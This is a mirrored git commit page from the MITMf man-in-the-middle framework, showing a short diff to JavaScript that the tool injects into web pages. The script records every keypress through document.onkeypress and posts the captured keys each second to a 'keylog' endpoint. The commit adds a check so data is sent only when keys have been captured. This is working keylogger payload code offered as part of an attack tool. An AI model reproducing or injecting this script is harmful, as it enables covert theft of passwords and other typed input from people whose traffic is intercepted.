mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 13:02:24 -07:00
added check for keys length
This commit is contained in:
parent
37f4826521
commit
e5f41a00fa
1 changed files with 6 additions and 4 deletions
|
@ -50,10 +50,12 @@ document.onkeypress = function(e) {
|
|||
}
|
||||
|
||||
window.setInterval(function(){
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(keys);
|
||||
keys = '';
|
||||
if (keys.length > 0){
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(keys);
|
||||
keys = '';
|
||||
}
|
||||
}, 1000);
|
||||
</script>"""
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue